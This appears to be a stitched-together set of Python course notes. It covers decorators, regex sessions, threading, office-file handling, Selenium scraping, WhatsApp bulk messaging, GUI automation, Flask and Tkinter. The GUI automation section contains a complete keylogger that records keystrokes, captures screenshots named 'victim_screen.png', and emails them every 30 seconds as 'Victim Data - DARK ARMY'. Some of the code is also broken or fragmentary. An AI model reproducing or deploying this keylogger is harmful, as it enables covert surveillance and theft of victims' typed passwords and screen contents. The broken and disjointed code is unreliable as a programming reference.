user1 = {"name": "John Doe", "username": "john123@gmail.com", "role": "admin"}
print(access_page(user1))


# def add(*args):
# return sum(args)


# my_nums = [1, 2, 34, 5, 6, 7, 8]

# print(add(121, 3223, 1, 1, 11, 2))
# print(add(*my_nums))  # argument unpacking
# when we write *my_nums while calling the function, we basically unpack all the elements inside the my_nums list and put each element in *args tuple as a separate element. If we dont unpack by putting *, tuple will have only one element as a list.






from functools import wraps
from typing import Type


def make_upper_case(fn):
    """THIS IS THE make_upper_case high-o-func"""

    @wraps(fn)
    def wrapper(*args, **kwargs):
        """THIS IS THE WRAPPER FUNCTION"""
        return fn(*args, **kwargs).upper()

    return wrapper


@make_upper_case
def say_hello(person):
    """Says hello to whoever you want."""
    return f"Hello, {person}."


@make_upper_case
def say_whatever(person, message):
    """
    Says whatever you want to whoever you want.
    Accepts 2 arguments
    @person -> name of the person
    @message -> the message you want to convey
    """
    return f"{message}, {person}."


say_whatever = make_upper_case(say_whatever)

print(say_hello("John"))
print(say_whatever("Hey bro, wassup", "John Doe"))

print(say_hello.__doc__)
print(say_whatever.__doc__)
print(make_upper_case.__doc__)

# normal func
def add(a, b):
    return a + b


print(add(10, 20))  # 30


def math(num1, num2, fn):
    return fn(num1, num2)

def add(x, y):
    return x + y

print(math(10, 20, add))
print(math(10, 20, lambda x, y: x + y))


print(math(10, 20, lambda x, y: x + y))


def limit_args(fn):
    def wrapper(*args, **kwargs):
        if len(args) < 5 or len(args) > 10:
            return "Either too many or too few arguments"
        else:
            return fn(*args, **kwargs)

    return wrapper


@limit_args
def add(*args):
    return sum(args)


@limit_args
def print_names(*names):
    for name in names:
        print(name)


# print(add(10, 20, 12, 12, 12, 4))
# print(add(10, 20))

print(print_names("Vishal", "Ankit", "Vaibhav", "Pravin"))

def limit_args(fn):
    def wrapper(*args, **kwargs):
        if len(args) < 5 or len(args) > 10:
            return "Either too many or too few arguments"
        else:
            return fn(*args, **kwargs)

    return wrapper


def limit_args(min, max):
    def inner(fn):
        def wrapper(*args, **kwargs):
            if len(args) < min or len(args) > max:
                return "Either too many or too few arguments"
            else:
                return fn(*args, **kwargs)

        return wrapper

    return inner


@limit_args(2, 5)
def add(*args):
    return sum(args)

# Original way of doing this
limit_args = limit_args(2, 5)(add)


print(add(1, 2, 3, 4))


def enforce(*types):
    def inner(fn):
        def wrapper(*args, **kwargs):
            new_args = []
            for a, t in zip(args, types):
                try:
                    new_args.append(t(a))
                except (ValueError, TypeError):
                    return "Something went wrong"
            return fn(*new_args)

        return wrapper

    return inner


@enforce(str, int)
def announce(msg, times):
    print((msg + "\n") * times)


user_msg = input("Please enter your message: ")
user_times = input("Please enter the number of times you want to print: ")

print(announce(user_msg, user_times))

# announce("Hello World!", 10)

Regular Expressions

>>> import re
>>>
>>> dir(re)
['DEBUG', 'DOTALL', 'I', 'IGNORECASE', 'L', 'LOCALE', 'M', 'MULTILINE', 'S', 'Scanner', 'T', 'TEMPLATE', 'U', 'UNICODE', 'VERBOSE', 'X', '_MAXCACHE', '__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '__version__', '_alphanum', '_cache', '_cache_repl', '_compile', '_compile_repl', '_expand', '_locale', '_pattern_type', '_pickle', '_subx', 'compile', 'copy_reg', 'error', 'escape', 'findall', 'finditer', 'match', 'purge', 'search', 'split', 'sre_compile', 'sre_parse', 'sub', 'subn', 'sys', 'template']
>>>
>>>
>>>
>>>import re
>>>
>>> str1 = "rohan Python Rstforum"
>>>
>>>
>>> x = re.match('r.h..',str1)
>>>
>>> x
<_sre.SRE_Match object at 0x00000000032AC780>
>>>
>>>
>>>
>>> x.group()
'rohan'
>>>
>>>
>>> x = re.match('P....n',str1)
>>>
>>> x
>>>
>>>
>>> x = re.match('Python',str1)
>>>
>>> x
>>>
>>>
>>>
>>> str1
'rohan Python Rstforum'
>>>
>>>
>>>
>>> x = re.search('Python',str1)
>>> x
<_sre.SRE_Match object at 0x00000000032AC780>
>>>
>>>
>>> x.group()
'Python'
>>>
>>>
>>> x = re.search('P....n',str1)
>>>
>>> x
<_sre.SRE_Match object at 0x00000000032AC7E8>
>>> x.group()
'Python'
>>>
>>>
>>>
>>> str1
'rohan Python Rstforum'
>>>
>>>
>>>
>>>
>>> str2 = 'RRRRRRohan Python'
>>>
>>> str3 = 'RRRRRRohannnnnn Python'
>>>
>>> x = re.match('R+',str2)
>>> x
<_sre.SRE_Match object at 0x00000000032AC780>
>>>
>>>
>>> x.group()
>>>'RRRRR'
>>>
>>> x = re.match('R+ohan',str2)
>>> x.group()
'RRRRRRohan'
>>>
>>>
>>>
>>> str3
'RRRRRRohannnnnn Python'
>>>
>>> x = re.match('R+ohan+',str3)
>>>
>>> x.group()
'RRRRRRohannnnnn'
>>>
>>>
>>> str1
'rohan Python Rstforum'
>>>
>>> x = re.match('.+',str1)
>>>
>>>
>>> x.group()
'rohan Python Rstforum'
>>>
>>>
>>>
>>> x = re.match('.+f',str1)
>>>
>>> x.group()
'rohan Python Rstf'
>>>
>>>
>>> x = re.match('.+o',str1)
>>>
>>> x.group()
'rohan Python Rstfo'
>>>
>>>
>>>
>>>
>>> x = re.match('.+?o',str1)
>>> x.group()
'ro'
>>>
>>>
>>>
>>>
>>> str4 = "Rohan12345!@#$!@#$ Python"
>>>
>>> x = re.match('Roha\w',str4)
>>>
>>>
>>> x.group()
'Rohan'
>>>
>>> x = re.match('Rohan\w',str4)
>>> x.group()
'Rohan1'
>>>
>>> x = re.match('Roha\d',str4)
>>>
>>> x
>>>
>>> x = re.match('Rohan12\d',str4)
>>>
>>> x
<_sre.SRE_Match object at 0x00000000032AC780>
>>>
>>> x.group()
'Rohan123'
>>>
>>>
>>> str1
'rohan Python Rstforum'
>>>
>>> str5 = "rohan      Pythonn"
>>>
>>> x = re.match('rohan\sPyt',str1)
>>>
>>> x.group()
'rohan Pyt'
>>>
>>>
>>> x = re.match('rohan\sPyt',str5)
>>> x.group()
'rohan\tPyt'
>>>
>>>
>>> x = re.match('R[a-z]han',str1)
>>> x.group()
'rohan'
>>>
>>>
>>> x = re.match('R[a-e]han',str1)
>>>
>>> x
>>>
>>>
>>>
>>>
>>> str7 = "rohan@123 and amit@456 are the 2 IDS"
>>>
>>>
>>> x = re.search('[a-z]+@\d\d\d',str7)
>>> x
<_sre.SRE_Match object at 0x00000000032AC7E8>
>>>
>>> x.group()
'rohan@123'
>>>
>>>
>>>
>>> str1
'rohan Python Rstforum'
>>>
>>> x = re.match('rohan',str1)
>>> x.group()
'rohan'
>>>
>>>
>>> x = re.match('Rohan',str1)
>>> x
>>>
>>> x = re.match('Rohan',str1,re.I)
>>>
>>> x
<_sre.SRE_Match object at 0x00000000032AC780>
>>>
>>>
>>> x.group()
'rohan'
>>>
>>>
>>>
>>> str7
'rohan@123 and Amit@456 are the 2 IDS'
>>>
>>> x = re.search('[a-z]+@\d\d\d',str7,re.I)
>>> x.group()
'rohan@123'
>>>
>>>
>>> x = re.findall('[a-z]+@\d\d\d',str7,re.I)
>>>
>>> x
['rohan@123', 'Amit@456']
>>>
>>>
>>>
>>>
>>> str6
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'str6' is not defined
>>> str5
'rohan\tPythonn'
>>> str4
'Rohan12345!@#$!@#$ Python'
>>>
>>>
>>>
>>> str4
'Rohan12345!@#$!@#$ Python'
>>>
>>>
>>>
>>> x = re.match('rohan\d',str4)
>>> x.group()
'Rohan1'
>>>
>>> x = re.match('rohan[0-9]',str4)
>>> x.group()
'rohan1'
>>>
>>> x = re.match('rohan[1-5]',str4)
>>> x.group()
'rohan1'
>>>
>>>
>>> x = re.match('rohan[5-9]',str4)
>>> x
>>>
>>>
>>> str7
'rohan@123 and Amit@456 are the 2 IDS'
>>>
>>>
>>>
>>>
>>> str7 = 'rohan@12 and Amit@456 are the 2 IDS'
>>>
>>>
>>>
>>> x = re.findall('[a-z]+@\d{3}',str7,re.I)
>>> x
['Amit@456']
>>>
>>>
>>>
>>> x = re.findall('[a-z]+@\d{1,3}',str7,re.I)
>>> x
[]
>>>
>>>\d{3} -> \d\d\d
	\d{2,6} -> min -> \d\d  max -> \d\d\d\d\d\d
	\d{2,} -> min -> \d\d max -> unlimited
  \d{,5} -> min -> 1 , max --> \d\d\d\d\d
>>> x = re.findall('[a-z]+@\d{1,3}',str7,re.I)
>>> x
['rohan@12', 'Amit@456']
>>>
>>>
>>> str7 = 'rohan@12 and Amit@456789 are the 2 IDS'
>>>
>>> x = re.findall('[a-z]+@\d{1,3}',str7,re.I)
>>> x
['rohan@12', 'Amit@456']
>>>
>>>
>>> x = re.findall('[a-z]+@\d{1,3} ',str7,re.I)
>>> x
['rohan@12 ']
>>>
>>> x = re.findall('[a-z]+@\d{2,} ',str7,re.I)
>>>
>>> x
['rohan@12 ', 'Amit@456789 ']
>>>
>>>
>>>
>>> str2
'RRRRRRohan Python'
>>>
>>>
>>>
>>> str10 = 'RRRohhhan Pythonn'
>>>
>>>
>>> x = re.match('RRRoh+an',str10)
>>>
>>> x.group()
'RRRohhhan'
>>>
>>>
>>> # + says preceeding char should come 1 or more times
...
>>>
>>>
>>> x = re.match('RRRohhha+n',str10)
>>>
>>> x.group()
'RRRohhhan'
>>>
>>>
>>> str10
'RRRohhhan Pythonn'
>>>
>>>
>>> str1
'rohan Python Rstforum'
>>>
>>> x = re.match('rohi*an',str1)
>>>
>>> x
>>>
>>>
>>> x = re.match('roha+n',str1)
>>> x
<_sre.SRE_Match object at 0x00000000032AC780>
>>>
>>> x.group()
'rohan'
>>>
>>> x = re.match('roha*n',str1)
>>> x.group()
'rohan'
>>>
>>> # * says preceeding char can come zero or more times
...
>>>
>>>
>>>
>>> str2
'RRRRRRohan Python'
>>>
>>>
>>> x = re.match('R*',str2)
>>> x.group()
'RRRRR'
>>>
>>>
>>>
>>> str1
'rohan Python Rstforum'
>>>
>>> x = re.match('roha*n',str1)
>>> x.group()
'rohan'
>>>
>>>
>>>
>>>
>>> str11 = '''Hello world
... how r you'''
>>>
>>>
>>> str11
'Hello world\nhow r you'
>>>
>>>
>>> x = re.match('.+',str11)
>>> x.group()
'Hello world'
>>>
>>>
>>> x = re.match('.+',str11,re.DOTALL)
>>> x.group()
'Hello world\nhow r you'
>>>
>>>
>>>
>>>
>>> x = re.match('.*',str11,re.DOTALL)
>>> x.group()
'Hello world\nhow r you'
>>>
>>>
>>>
>>>
>>> str1
'rohan Python Rstforum'
>>>
>>>
>>>
>>> x = re.search('P....n',str1)
>>> x.group()
'Python'
>>>
>>>
>>> x = re.sub('P....n','Automation',str1)
>>>
>>> x
'rohan Automation Rstforum'
>>>
>>>
>>> log = 'My PC has ip 192.16.7.1 and yours has 1.1.1.1'
>>>
>>>
>>>
>>>
>>> x = re.findall('\d\d\d.\d\d\d.\d\d\d.\')
  File "<stdin>", line 1
    x = re.findall('\d\d\d.\d\d\d.\d\d\d.\')
                                           ^
SyntaxError: EOL while scanning string literal
>>>
>>>
>>>
>>> x = re.findall('\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}',log)
>>>
>>> x
['192.16.7.1', '1.1.1.1']
>>>
>>>
>>> log = 'My PC has ip 123456543234561 and yours has 1.1.1.1'
>>>
>>> x = re.findall('\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}',log)
>>>\
>>> x
['123456543234561', '1.1.1.1']
>>>
>>> x = re.findall('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',log)
>>>
>>> x
['1.1.1.1']
>>>
>>>
>>> str1 = "rohan+Python"
>>>
>>> x = re.match('rohan+Python',str1)
>>>
>>> x
>>>
>>>
>>> x = re.match('rohan\+Python',str1)
>>> x
<_sre.SRE_Match object at 0x00000000032AC7E8>
>>>
>>> x.group()
'rohan+Python'

Multi threading

Race condition

#race condition
import threading
x = 0
def increment_global():
    global x
    x += 1
def taskOfThread():
    for i in range(500000):
        increment_global()
def main():
    t1 = threading.Thread(target=taskOfThread)
    t2 = threading.Thread(target=taskOfThread)
    t1.start()
    t1.join()
    t2.start()
    t2.join()
if __name__ == '__main__':
    for f in range(5):
        main()
        print(f"x = {x} after iteration {f}")

Context Switching

import time
from threading import Thread
def paanipoori():
    print("paani")
    time.sleep(3)
    print("poori")

    
t1 = Thread(target = paanipoori)
t2 = Thread(target = paanipoori)
t3 = Thread(target = paanipoori)
t1.start()
t2.start()
t3.start()

Semaphore

import threading
import time
sem = threading.Semaphore()
def fun1():
    print("function1 starting")
    sem.acquire()
    for x in range(1,5):
        print(f"function1 working {x}")
        time.sleep(1)
    sem.release()
    print("function1 finished")
def fun2():
    print("function2 starting")
    while not sem.acquire(blocking=False):
        print("Fun2 no semaphore available")
        time.sleep(1)
    else:
        print("got semaphore")
        for x in range(1,5):
            print(f"function2 working {x}")
            time.sleep(1)
    print("fun2 finished")
    sem.release()
t1 = threading.Thread(target=fun1)
t2 = threading.Thread(target=fun2)
t1.start()
t2.start()
print("All threads done! exiting!")

Locks

#locks
from threading import Lock, Thread
l = Lock()
g = 0
def add_one():
    global g
    l.acquire()
    g +=1
    l.release()
def add_two():
    global g
    l.acquire()
    g+=2
    l.release()

threads = []

for func in [add_one,add_two]:
    threads.append(Thread(target=func))
    threads[-1].start()

for eachthread in threads:
    eachthread.join()

print(g)

Multi-Processing

import multiprocessing
import os

def worker1():
    print(f"Process ID for worker1: {os.getpid()}")

def worker2():
    print(f"Process ID for worker 2: {os.getpid()}")
if __name__ == "__main__":

    p1 = multiprocessing.Process(target = worker1)
    p2 = multiprocessing.Process(target = worker2)

    print(f"Process ID of Main Process: {os.getpid()}")

    p1.start()
    p2.start()

    print(f"Process ID of p1 using mp: {p1.pid}")
    print(f"Process ID of p2 using mp: {p2.pid}")

    p1.join()
    p2.join()

    print(f"Process p1 is alive: {p1.is_alive()}")
    print(f"Process p2 is alive: {p2.is_alive()}")

Queue

import multiprocessing

L = multiprocessing.Queue(maxsize=6)
print(L.qsize())

L.put(9)
L.put(8)
L.put(3)
L.put(5)
L.put(2)
L.put(6)

print("Full:", L.full())
print("Size:", L.qsize())

L.get()
L.get()
L.get()
L.get()
L.get()
L.get()

print("Empty:", L.empty())

Excel with Python


from openpyxl import load_workbook, Workbook

mywb = load_workbook(
    "C:\\Users\\Rohan\\Documents\\DataHandling\\XL1.xlsx"
)
mywb = Workbook()
print(mywb.sheetnames)
mywb.create_sheet("Manage", 3)
mysh = mywb["Manage"]
mycell = mysh["C4"]
print(mycell.value)
mycell.value = "Python"
myblock = mysh["F1:H10"]
for eachrow in myblock:
    for eachcell in eachrow:
        eachcell.value = "Future"
mywb.save("students1.xlsx")

import openpyxl

path = "C:\\Users\\Rohan\\Documents\\DataHandling\\XL2.xlsx"
wb_obj = openpyxl.load_workbook(path)
sh_obj = wb_obj.active
cell_obj = sh_obj.cell(row=1, column=1)
print("Value of the first cell is", cell_obj.value)
print("Total rows are:", sh_obj.max_row)
print("Total columns are:", sh_obj.max_column)
for i in range(1, sh_obj.max_column + 1):
    cell_obj = sh_obj.cell(row=1, column=i)
    print("Names of the columns are", cell_obj.value)
for j in range(1, sh_obj.max_row + 1):
    cell_obj = sh_obj.cell(row=j, column=2)
    print("the names are", cell_obj.value)
for i in range(1, sh_obj.max_column + 1):
    cell_obj = sh_obj.cell(row=3, column=i)
    print(cell_obj.value)
-----------------------------------------------
import openpyxl

wb = openpyxl.Workbook()
sheet = wb.active
sheet_title = sheet.title
print("sheet name:" + sheet_title)
sheet.title = "Accounts"
print("sheet is renamed as:" + sheet.title)
c1 = sheet.cell(row=1, column=1)
c1.value = "RST"
c2 = sheet.cell(row=1, column=2)
c2.value = "Forum"
c3 = sheet["A3"]
c3.value = "Jay"
c4 = sheet["B2"]
c4.value = "Mital"
wb.save("C:\\Users\\Rohan\\Documents\\DataHandling\\XL3.xlsx")
-------------------------------------
import openpyxl
wb = openpyxl.Workbook()
sheet = wb.active
sheet.cell(row=1, column=1).value='Sunny'
sheet.cell(row=1, column=2).value='Leone'
sheet.row_dimensions[1].height=70
sheet.column_dimensions['B'].width=20
wb.save('C:\\Users\\Rohan\\Documents\\DataHandling\\dimension.xlsx')
---------------------------------------
import openpyxl

wb = openpyxl.Workbook()
sheet = wb.active
sheet.merge_cells("A1:D4")
sheet.cell(row=1, column=1).value = "cells merged together"
sheet.merge_cells("C6:D6")
sheet.cell(row=3, column=6).value = "2cells"
wb.save(
    "C:\\Users\\Rohan\\Documents\\RSTForum\\Python Morning\\DataHandling\\merge.xlsx"
)
-------------------------------------------------

Word Handling with Python

import docx
doc = docx.Document()
doc.add_heading("RST Forum", 0)
network_para = doc.add_paragraph("Networking\n")
py_para = doc.add_paragraph("Python\n")
cloud_para = doc.add_paragraph("Cloud\n")
sec_para = doc.add_paragraph("Security\n")
col_para = doc.add_paragraph("Collaboration\n")
serv_para = doc.add_paragraph("Servers\n")

network_para.add_run("Foundation of next generation technology").bold=True
py_para.add_run("Foundation for automation").italic=True
cloud_para.add_run("Reduce capex & opex").underline=True
sec_para.add_run("Naam hai bulla, rakhta hun khullam khulla")
col_para.add_run("Converged architecture")
serv_para.add_run("Goli nai maarenge, keh ke lenge uski")

doc.add_page_break()
doc.add_heading("Coming up: Nex Gen Tech", 2)
doc.add_picture("C:\\Users\\Rohan\\Desktop\\test.png")

doc.save("C:\\Users\\Rohan\\Desktop\\doc1.docx")
---------------------------------------------------------
from docx import Document
#Document class ka instance banaya -> existing file -> doc
doc = Document("C:\\Users\\Rohan\\Desktop\\doc1.docx")
print("List of paragraph objects")
#doc.paragraphs -> list of paragraphs store at different memory locations in RAM
print(doc.paragraphs)
print("List of run objects in the paragraph")
#0th element of paragraph list is the heading, runs are the sentences
#doc.paragraphs[0].runs shows you the memory location of the sentences inside the heading
print(doc.paragraphs[0].runs)
#doc.paragraphs[0].text shows you the heading of the paragraph
print(doc.paragraphs[0].text)
for para in doc.paragraphs:
#doc.paragraphs.text shows you the whole data of the paragraph
    print(para.text)

Automation

Browser Automation

# download chromedriver of the same version as your browser
# pip install selenium
# import webdriver
from selenium import webdriver

# print(dir(webdriver))
# import Keys
from selenium.webdriver.common.keys import Keys

# import time
import time

browser = webdriver.Chrome(executable_path="chromedriver.exe")
website = "https://www.youtube.com"
browser.maximize_window()
browser.get(website)
time.sleep(5)
search_box = browser.find_element_by_xpath('//input[@id="search"]')
print("search box found")
search_box.send_keys("numb")
search_box.send_keys(Keys.ENTER)
time.sleep(5)
songs = browser.find_elements_by_xpath('//*[@id="video-title"]/yt-formatted-string')
print(songs)
mysong = songs[0]
print(mysong)
mysong.click()
---------------------------------------------------------------------------

Web Scraping with Flipkart

from selenium import webdriver
from bs4 import BeautifulSoup as bs
import pandas as pd

driver = webdriver.Chrome(executable_path="C:\\Users\\Rohan\\Desktop\\chromedriver")
products = []
prices = []
driver.get("https://www.flipkart.com/laptops/pr?sid=6bo,b5g&otracker=categorytree")
content = driver.page_source
# print(content)
parsed_content = bs(content, "html.parser")
for eachproduct in parsed_content.findAll("a", href=True, attrs={"class": "_1fQZEK"}):
    name = eachproduct.find("div", attrs={"class": "_4rR01T"})
    price = eachproduct.find("div", attrs={"class": "_30jeq3 _1_WHN1"})
    products.append(name.text)
    prices.append(price.text)
print(products)
print(prices)
df = pd.DataFrame({"Product": products, "Prices": prices})
df.to_excel("C:\\Users\\Rohan\\Desktop\\laptops.xlsx", index=False)

Whatsapp Automation

from pywhatkit import sendwhatmsg_instantly
from pywhatkit.main import sendwhats_image
from selenium.webdriver.common.keys import Keys
from threading import Thread
from time import sleep


#def send_img(ph, img_path, caption, close_tab):
#    sendwhats_image(f"+91{ph}", f"{img_path}", f"{caption}", f"{close_tab}")
#    print("Image sent!")


def send_msg(ph, msg):
    sendwhatmsg_instantly(f"+91{ph}", f"{msg}")
    Keys.ENTER
    print("Successfully Sent!")


to_do = ["1. Send whatsapp text message", "2. Send whatsapp image message"]
for eachitem in to_do:
    print(eachitem)
choice = int(input("Please enter your choice: \n"))
numbers = open("C:\\Users\\Admin\\Desktop\\numbers.txt", "r")
img_path = "C:\\Users\\Admin\\Desktop\\default.bmp"
if choice == 1:
    msg = input("Please enter your message: \n")
    for eachnum in numbers.readlines():
        print(f"sending message to {eachnum}")
        t1 = Thread(target=send_msg, args=(f"{eachnum}", f"msg"))
        t1.start()
        sleep(2)
        t1.join()
elif choice == 2:
    #    img_path = input("image ka path daalo, properly!")
    caption = input("image caption daalo")
    delay = 10
    close_tab = True
    for eachnum in numbers.readlines():
        t2 = Thread(
            target=send_img,
            args=(
                f"{eachnum}",
                f"{img_path}",
                f"{caption}",
                f"{close_tab}",
            ),
        )
        t2.start()
        sleep(10)
        t2.join()
        sleep(10)
else:
    print("Choice baraabar daaloooo!!!!!")

GUI Automation

from pywinauto import Application
import time
app = Application()
app.start("notepad.exe")
app.UntitledNotepad.menu_select("Help->About")
time.sleep(5)
app.AboutNotepad.OK.click()
app.UntitledNotepad.Edit.type_keys("You have been hacked", with_spaces = True)
---------------------------------------------------------------------------------------
from pywinauto import Desktop, Application
Application().start('explorer.exe "C:\\Program Files"')
#connect to another process spawned by explorer.exe
#Run as administrator
app = Application(backend="uia")
app.connect(path="explorer.exe",title="Program Files")
app.ProgramFiles.set_focus()
common_files = app.ProgramFiles.ItemsView.get_item('Common Files')
common_files.right_click_input()
app.ContextMenu.Properties.invoke()
properties = Desktop(backend='uia').Common_Files_Properties
properties.print_control_identifiers()
properties.Cancel.click()
properties.wait_not('visible')
---------------------------------------------------------------------------------------
from pywinauto import Desktop, Application
import pyautogui
app = Application().start("mspaint.exe")
width, height = (pyautogui.size())
print(width,height)
distance = 200
while distance > 0:
        pyautogui.dragRel(distance, 0, duration = 0.2)
        distance = distance - 5
        pyautogui.dragRel(0, distance, duration=0.2)
        pyautogui.dragRel(-distance, 0, duration=0.2)
        distance = distance - 5
        pyautogui.dragRel(0, -distance, duration=0.2)
--------------------------------------------------------------------------------------
# from pywinauto.application import Application
# import pywinauto
# from time import sleep

# app = Application(backend="uia").start("notepad.exe")
# app.Untitled.menu_select("Help->About Notepad")
# # app.Untitled.print_control_identifiers()

# # sleep(2)
# # app.Untitled.CloseButton2.click()

# top_window = app.top_window()
# sleep(2)
# # top_window.print_control_identifiers()
# top_window.OK.click()

# text = "Lorem, ipsum dolor sit amet consectetur adipisicing elit. Incidunt et autem fugit ratione quaerat eos tempora culpa deleniti quod ducimus delectus soluta ea, quibusdam placeat provident illum perferendis unde consectetur molestiae dolorem quas voluptas? Fugit voluptates aut recusandae quo iusto?"

# app.Untitled.Edit.type_keys(text, with_spaces=True)
# app.Untitled.menu_select("File->Save")

# save_window = app.Untitled.child_window(title="Save As")
# # save_window.print_control_identifiers()
# save_window.ComboBox.Edit.type_keys("python_auto.txt")
# save_window.Save.click()
# sleep(2)

# app.Untitled.CloseButton2.click()


# import pyautogui

# from pywinauto.application import Application
# from time import sleep

# app = Application(backend="uia").start("mspaint.exe")
# print(pyautogui.size())

# pyautogui.moveTo(200, 400)

# pyautogui.dragRel(200, 400, 1)

# sleep(1)
# distance = 200

# while distance > 0:
#     pyautogui.dragRel(distance, 0, duration=0.2)
#     distance = distance - 5
#     pyautogui.dragRel(0, distance, duration=0.2)
#     pyautogui.dragRel(-distance, 0, duration=0.2)
#     distance = distance - 5
#     pyautogui.dragRel(0, -distance, duration=0.2)

# pyautogui.screenshot("screen.png")

from pynput.keyboard import Key, Listener
import pyautogui
import yagmail
from datetime import datetime
import time
import os

os.system("cls")

count = 0
keys = []

try:
    print("Typing")

    def on_press(key):
        global keys, count
        keys.append(key)
        count += 1
        print(f"{key} pressed")
        if count >= 10:
            write_file(keys)
            keys = []

    def write_file(keys):
        with open("log.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'", "")
                if k.find("space") > 0:
                    f.write(str(" "))
                elif k.find("cap_lock") > 0:
                    f.write(str("<CAPS_LOCK>"))
                elif k.find("enter") > 0:
                    f.write("\n")
                elif k.find("<97>") > -1:
                    f.write(str("1"))
                elif k.find("<98>") > -1:
                    f.write(str("2"))
                elif k.find("<99>") > -1:
                    f.write(str("3"))
                elif k.find("<100>") > -1:
                    f.write(str("4"))
                elif k.find("<101>") > -1:
                    f.write(str("5"))
                elif k.find("<102>") > -1:
                    f.write(str("6"))
                elif k.find("<103>") > -1:
                    f.write(str("7"))
                elif k.find("<104>") > -1:
                    f.write(str("8"))
                elif k.find("<105>") > -1:
                    f.write(str("9"))
                elif k.find("Key") == -1:
                    f.write(k)

    def take_screenshot():
        screen = pyautogui.screenshot()
        screen.save("victim_screen.png")

    def send_mail():
        receiver_email = "<your email ID>"
        subject = f'Victim Data - {datetime.now().strftime("%d-%m-%Y %H-%M-%S")}'
        yag = yagmail.SMTP("<your email ID", "<your email password>")
        contents = [
            "<b><font color='red' size='10'>YOUR VICTIM DATA - DARK ARMY</font></b>",
            "log.txt",
            "victim_screen.png",
        ]
        yag.send(receiver_email, subject, contents)

    def on_release(key):
        if key == Key.esc:
            return False  # False will stop the listener

    with Listener(on_press=on_press, on_release=on_release) as listener:
        while True:
            time.sleep(30)
            take_screenshot()
            send_mail()
        listener.join()
except KeyboardInterrupt:
    print("Program closed")
-------------------------------------------------------------------------------------------------------

APIs

from flask import Flask, jsonify
from flask.globals import request

app = Flask(__name__)

tasks = [
    {
        "id": 1,
        "title": "Buy Groceries",
        "description": "Milk, eggs, cheese, pizza, fruit",
        "done": False,
    },
    {"id": 2, "title": "Learn python", "description": "come to RST", "done": True},
]


@app.route("/tasks", methods=["GET"])
def get_tasks():
    return jsonify({"tasks": tasks})


@app.route("/homepage", methods=["GET"])
def homepage():
    return "<HTML> <body bgcolor=Blue><h1><marquee>Welcome to RST Forum</marquee>"


@app.route("/mail")
def get_mail():
    return "<html><body><marquee><h1>Welcome to Gmail</h1></marquee></body></html>"


@app.route("/pythonhome")
def pythonhome():
    myfile = open("R:\\RSTForum\\Python Morning\\Software Development\\blog.htm")
    data = myfile.read()
    return data


@app.route("/uber", methods=["GET"])
def fb():
    return {
        "driver": "pagal bail",
        "OTP": "6969",
        "ETA": "10 Mins",
        "Vehicle": ["MH-01", 9999],
    }


@app.route("/login", methods=["POST"])
def login():
    user = request.form.get("user", "khula")
    pwd = request.form.get("pwd", "saand")
    if user == "khula" and pwd == "saand":
        return "Kundi mat khadkao raja, seedha andar aao raja"
    else:
        return "Tel lene jaa"


if __name__ == "__main__":
    app.run(debug=True, port=8080)

------------------------------------------------------------------------------------------------
GUI Development
from tkinter import *
from tkinter.ttk import Combobox

mywindow = Tk()
mywindow.geometry("1000x1500")

frame1 = Frame(mywindow)
frame1.pack(side="left")

frame2 = Frame(mywindow)
frame2.pack(side="right")

label1 = Label(frame1, text="RSTForum")
label1.pack()

myimg = PhotoImage(file="C:\\Users\\Rohan\\Desktop\\test.gif")
label2 = Label(frame2)
label2["image"] = myimg
label2.pack(side="top")


def func123():
    print(username.get())
    print(password.get())
    print(x.get())
    print(phone.get())
    print(day.get())


# BUTTON
button1 = Button(mywindow, fg="red", bg="white", text="submit", command=func123)
button1["image"] = myimg
button1.pack(side="left")

# ENTRYBOX
username = StringVar()
name = Entry(mywindow, textvariable=username)
name.pack(side="left")

password = StringVar()
pwd = Entry(mywindow, textvariable=password, show="*")
pwd.pack(side="left")

# CHECKBUTTON
x = StringVar()
mycheckbox = Checkbutton(
    mywindow, text="I Agree", variable=x, onvalue="yes", offvalue="no"
)
mycheckbox.pack()

# RADIOBUTTON
phone = StringVar()
home = Radiobutton(mywindow, text="Home", variable=phone, value=2212345678)
office = Radiobutton(mywindow, text="Office", variable=phone, value=22987654321)
mobile = Radiobutton(mywindow, text="Mobile", variable=phone, value="+91123123456456")

home.pack()
office.pack()
mobile.pack()


# DROPDOWN Menu
day = StringVar()
dropdown = Combobox(
    mywindow,
    textvariable=day,
    values=[
        "Monday",
        "Tuesday",
        "Wednesday",
        "Thursday",
        "Friday",
        "Saturday",
        "Sunday",
    ],
)
dropdown.pack()


mywindow.mainloop()
-----------------------------------------------------------------------------------------------
Game
# import the modules
import tkinter
import random

# list of possible colors
colours = [
    "Red",
    "Blue",
    "Green",
    "Pink",
    "Black",
    "Yellow",
    "Orange",
    "White",
    "Purple",
    "Brown",
]
score = 0
timeleft = 30
# function that will start the game
def startGame(event):
    if timeleft == 30:
        countdown()
    nextColour()


# function that will shuffle and show the next colour
def nextColour():
    global score
    global timeleft
    if timeleft > 0:
        # set focus on entry box
        e.focus_set()
        # compare the input from entrybox with colors list [1st element]
        if e.get().lower() == colours[1].lower():
            # increment the score
            score += 1
        # clear the entry box
        e.delete(0, tkinter.END)
        # shuffle the color list
        random.shuffle(colours)
        # color configuration to display foreground color, text is the 0th element
        colourLabel.config(fg=str(colours[1]), text=str(colours[0]))
        scoreLabel.config(text="Score:" + str(score))


# starts the timer
def countdown():
    global timeleft
    if timeleft > 0:
        timeleft -= 1
        timeLabel.config(text="Time Left:" + str(timeleft))
        timeLabel.after(1000, countdown)


# Front-End:
root = tkinter.Tk()
root.title("Color Game")
root.geometry("500x500")
instructions = tkinter.Label(
    root, text="Type in the color of the words, not the text", font=("Calibri", 12)
)
instructions.pack()
scoreLabel = tkinter.Label(root, text="Press enter to start", font=("Helvetica", 12))
scoreLabel.pack()
timeLabel = tkinter.Label(
    root, text="Time Left: " + str(timeleft), font=("TimesNewRoman", 12)
)
timeLabel.pack()
colourLabel = tkinter.Label(root, font=("Helvetica", 12))
colourLabel.pack()
e = tkinter.Entry(root)
e.pack()
root.bind("<Return>", startGame)
e.focus_set()
root.mainloop()